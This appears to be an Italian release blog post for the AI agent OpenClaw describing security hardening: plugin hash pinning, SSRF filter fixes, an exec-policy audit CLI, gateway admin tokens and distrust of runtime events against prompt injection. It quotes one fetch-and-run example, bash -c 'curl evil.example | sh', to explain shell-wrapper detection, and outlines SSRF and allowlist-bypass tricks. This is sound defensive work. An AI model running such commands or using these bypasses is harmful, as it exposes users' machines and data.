La maggior parte di questo blocco di release non comparirà in uno screenshot. Dieci giorni, otto release, e il grosso del diff è nei punti che non guardi mai a meno che qualcosa non vada storto — il loader dei plugin, il resolver di URL del tool browser, gli endpoint di config del gateway, le tabelle di allowlist, il manifest delle dipendenze. Il lavoro sulla sicurezza è silenzioso per design. Questo post è la versione lunga del silenzio.
Se fai girare OpenClaw su un laptop che ha pure le tue chiavi SSH, il tuo password manager, la tua dichiarazione dei redditi non finita, e un browser loggato dappertutto — continua a leggere. Questo è il blocco di release che ha cambiato cosa l'aragosta ha il permesso di toccare.
I plugin adesso verificano, non solo scaricano
Prima del 4.7, installare un plugin dal registry faceva quello che ti aspetteresti: tirare giù l'archivio, scompattarlo, eseguirlo. Il registry di per sé era considerato fidato; l'archivio non veniva ricontrollato. Se il CDN del registry fosse stato sostituito a metà strada, o un mirror fosse stato avvelenato, o qualcuno avesse intercettato sul bordo, l'aragosta avrebbe felicemente installato qualunque cosa fosse tornata indietro.
Il 4.7 chiude questa strada. Ogni archivio di plugin adesso è inchiodato a un hash SHA-256 al momento della pubblicazione, e l'installer si rifiuta di scompattare qualunque cosa i cui byte non corrispondano. Se scrivi plugin, il flusso openclaw plugin publish adesso emette l'hash dentro al manifest in automatico — non devi fare niente. Se installi plugin, il primo segnale che qualcosa non va è un errore pulito invece di un'installazione silenziosa.
Il follow-up nel 4.9 ha esteso la stessa verifica agli update dei plugin, che fino a quel momento saltavano silenziosamente il check sul presupposto che la versione vecchia avesse già passato il controllo. È esattamente il tipo di assunzione che gli attaccanti vanno a cercare. Non c'è più.
Il filtro SSRF del tool browser, tre volte di fila
Il tool browser permette all'aragosta di tirare giù pagine, seguire link, eseguire piccole quantità di JavaScript, e restituire quello che trova. È una delle cose più utili nel prodotto e anche una delle più pericolose — qualsiasi cosa che recupera URL per conto di un LLM può essere convinta a recuperare gli URL sbagliati. Server-Side Request Forgery (SSRF) è il nome educato per questo modo di fallimento.
In questi dieci giorni, il filtro SSRF è stato riscritto tre volte.
Il 4.7 ha stretto il check della host allowlist in modo che girasse dopo la risoluzione DNS, non prima. La versione vecchia confrontava la stringa dell'hostname contro la allowlist, e poi risolveva. Voleva dire che un hostname che sembrava esterno ma risolveva a 127.0.0.1 tramite un record DNS controllato poteva sgusciare dentro. Adesso l'IP risolto viene confrontato con la denylist dei range privati e di loopback, e se ci finisce dentro la richiesta viene rifiutata indipendentemente da come appariva il nome.
Il 4.9 ha aggiunto la copertura IPv6. Il pass precedente gestiva 10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16, 127.0.0.0/8, e link-local — tutto IPv4. Gli equivalenti IPv6 (fc00::/7, fe80::/10, ::1) erano tecnicamente coperti dal fallback "non in allowlist" ma non erano mai stati testati end-to-end. Il 4.9 li trasforma in deny di prima classe e aggiunge la matrice di test.
Il 4.10 ha chiuso una falla nel seguire i redirect. Se il primo URL passava il filtro ma emetteva un 302 verso un IP privato, il redirect veniva seguito senza ricontrollare. Adesso ogni hop di una catena di redirect viene filtrato in modo indipendente. Il tool browser seguirà un redirect da un host pubblico verso un altro host pubblico tutto il giorno; non seguirà uno da un host pubblico verso 169.254.169.254, che è l'indirizzo che conta se per caso fai girare questa roba dentro a un'istanza cloud.
Il 4.14 è quello che a qualcuno romperà davvero la compatibilità. Disabilita completamente gli URL file:// dalla superficie del tool browser. Leggere file locali attraverso il tool browser era un effetto collaterale non documentato a cui un pugno di workflow aveva iniziato ad appoggiarsi, ed era sbagliato: la lettura di file locali appartiene al tool file, che ha la sua storia di sandboxing. Se stavi usando browser.open('file://...') come scorciatoia, devi passare a file.read e accettare qualunque allowlist quel tool imponga nel tuo setup.
Un nuovo CLI per fare audit di quello che l'aragosta può eseguire
Il 4.10 consegna openclaw exec-policy — un CLI di sola lettura che riversa la policy effettiva di esecuzione shell per il workspace corrente. Ti dice, in una schermata, quali comandi sono in allowlist, quali sono negati, quali richiedono conferma, e qual è la fonte di ogni regola (config utente, config del workspace, plugin, default).
Questa è la cosa da lanciare dopo aver installato un plugin nuovo. I plugin possono registrare comandi shell; la maggior parte va bene; alcuni allargano in silenzio quello che l'aragosta può eseguire. Prima del 4.10 non c'era un'unica superficie su cui vedere il risultato combinato — dovevi leggere più file di config e ragionare sulla precedenza. Adesso è un comando solo e l'output è abbastanza stabile da essere convogliato dentro a un test.
Il cambiamento di accompagnamento nel 4.12 è più piccolo ma cattivo: il layer di esecuzione adesso rileva le invocazioni di wrapper shell che provano a far passare comandi sotto la allowlist di soppiatto. Il pattern classico è bash -c 'curl evil.example | sh' quando bash è permesso e curl no. Il rilevamento del wrapper marca la forma -c, scarta lo strato esterno della stringa di comando, ed esegue il comando interno attraverso la allowlist come se fosse stato chiamato direttamente. Se il comando interno sarebbe stato negato, anche il wrapper esterno viene negato.
Gli endpoint di config del gateway hanno preso le guardie
Se fai girare OpenClaw in modalità gateway — la modalità in cui più client condividono una stessa istanza di aragosta — il gateway espone una piccola API admin per leggere e scrivere la config del server. Il 4.7 e il 4.14 hanno stretto questa estremità.
Il 4.7 ha separato config.apply (rimpiazza la config intera) e config.patch (fonde un update parziale). Esistevano entrambi prima ma condividevano un solo percorso di codice, e la semantica del merge era sotto-specificata abbastanza da farti cancellare una admin key annidata facendo patch su un campo sorella. La separazione dà a ogni verbo il suo validatore. I patch adesso sono veri merge profondi, con la cancellazione esplicita che richiede il sentinel $delete; gli apply richiedono una config completa e valida o la richiesta viene rifiutata.
Il 4.14 ha aggiunto un requisito di token firmato su entrambi gli endpoint quando il gateway è bindato a qualcosa di diverso da localhost. Se facevi girare il gateway su una macchina di dev con --host 0.0.0.0 e contavi sulla segmentazione di rete per tenere fuori la gente — il gateway adesso si rifiuta di partire in quella configurazione a meno che tu non passi anche --admin-token o non opti esplicitamente per uscire con --admin-insecure. Il nome della flag è deliberatamente brutto. Dovresti dover digitare la parola "insecure" per riavere indietro il vecchio comportamento.
Credenziali che erano per sbaglio dati di template
Il 4.12 ha sistemato una cosa brutta che esisteva da tempo: il file .env.example che viene fornito con i workspace nuovi conteneva API key placeholder che sembravano abbastanza reali da far sì che almeno un utente le avesse committate in un repo pubblico pensando fossero finte. Erano finte — i valori erano tutti stringhe di zeri e non valide su nessun provider — ma avevano la forma di credenziali e i linter che abbiamo controllato le segnalavano come trapelate. Il nuovo .env.example usa token ovviamente finti (REPLACE_ME_OR_I_WILL_FAIL) e il flusso openclaw init si rifiuta di scrivere un file .env che contenga uno qualsiasi di quei valori sentinella.
Cosa piccola. Conseguenze basse. Ma il costo per sistemarla è stato un pomeriggio e il costo per non sistemarla sarebbe stato un altro incidente pubblico che avremmo dovuto spiegare.
I confini delle allowlist, stretti in silenzio
Lungo ogni release del blocco, le tabelle di allowlist che stanno tra l'aragosta e il mondo fuori si sono strette in modi piccoli e specifici:
- •4.5: la directory di output del tool musica ora ha come default
./generated/music, non più dovunque al workspace capiti di pensare significhi "output". - •4.7: le sorgenti di import della memoria sono ristrette a
file://,https://, e a URL specifici dei provider. Il vecchio codice accettava qualunque scheme di URL cheurllibsapesse parsare, che ne includeva alcuni sorprendenti. - •4.9: il path di upload del tool di generazione video non accetta più path assoluti fuori dalla root del workspace.
- •4.10: i manifest dei plugin non possono più dichiarare
*come pattern di allowlist. Devono nominare domini o metodi specifici. - •4.14: il client dedicato del provider Codex rispetta una allowlist separata da quella unificata, così stringere Codex non allenta per sbaglio tutto il resto.
Nessuna di queste, presa da sola, è una storia. Insieme, spostano il raggio dell'esplosione nella direzione giusta.
Fiducia negli eventi di runtime, abbassata
Un cambiamento più sottile che attraversa 4.7, 4.9, e 4.14: gli eventi che vengono dal runtime (invocazioni di tool, output del modello, callback dei plugin) non sono più trattati come input fidato per il policy engine. Prima, un tool che emetteva un evento strutturato poteva influenzare le decisioni successive di allowlist tramite dati che lui stesso controllava — il classico modo di fallimento "il prompt injection tocca il layer di policy". Gli eventi di runtime adesso passano per uno step di sanitizzazione separato prima di poter influenzare qualunque valutazione di policy successiva, e il policy engine tratta qualunque campo la cui provenienza è "runtime" come contaminato a meno che un operatore umano non l'abbia esplicitamente inchiodato.
In pratica vuol dire che alcuni workflow di confine che dipendevano dall'output di tool dell'aragosta stessa per restringere il proprio comportamento andranno riscritti. Il modo previsto di restringere il comportamento adesso è scrivere una regola di policy, non far emettere un hint a un tool. Se ci sbatti, il CLI exec-policy del 4.10 è lo strumento di diagnostica.
Audit delle dipendenze
Il 4.9 e il 4.14 hanno entrambi fatto girare pass completi di cargo audit e npm audit e bumpato ogni dipendenza transitiva con un advisory aperto. Niente nella lista era sotto attacco contro OpenClaw, per quanto possiamo vedere; questa è manutenzione, non risposta a un incidente. I bump sono noiosi di proposito.
L'unico bump non noioso: la libreria WebSocket usata dal gateway è passata a una major version nel 4.14, il che ha cambiato come i close frame riportano il reason code. Se avevi codice che leggeva event.reason sul segnale di disconnect del socket del gateway, adesso è una stringa invece di un buffer. Questo è un breaking change. È chiamato fuori nel changelog del 4.14.
Il segnale nuovo: audit di sicurezza assistito da AI
L'ultima cosa che vale la pena nominare — il 4.14 ha introdotto un workflow interno in cui un secondo modello rivede i diff rilevanti per la sicurezza prima che vengano mergeti. Non blocca i merge; lascia commenti. In questo blocco, ha catturato due cose che una review umana aveva fatto passare: il buco IPv6 nella riscrittura SSRF del 4.9 (che è stato sistemato pre-merge) e l'ambiguità del sentinel $delete nella separazione di config.patch del 4.7 (che è diventata il validatore esplicito invece di quello implicito).
Non vogliamo esagerare la rivendicazione. Un secondo modello non è un rimpiazzo per un secondo umano. Ma è una seconda passata, e in dieci giorni di lavoro di sicurezza che si muove veloce è stata la passata che ha catturato le due cose che sarebbero altrimenti uscite. Resta.
La versione corta
Se da questo post ti porti via una cosa sola: lancia openclaw update per arrivare al 4.14, poi lancia una volta openclaw exec-policy per vedere cosa l'aragosta può davvero fare sulla tua macchina. Se l'output ti sorprende, stringilo. Tutto il senso degli ultimi dieci giorni è che adesso puoi.
E se sei una di quelle persone che fa girare il gateway su --host 0.0.0.0 senza un admin token — per favore, vai a sistemarlo prima di lanciare openclaw update, perché il 4.14 si rifiuterà di partire finché non l'avrai fatto, e preferiamo che tu legga prima questo post invece che leggere il messaggio di errore e dare per scontato che qualcosa sia rotto.
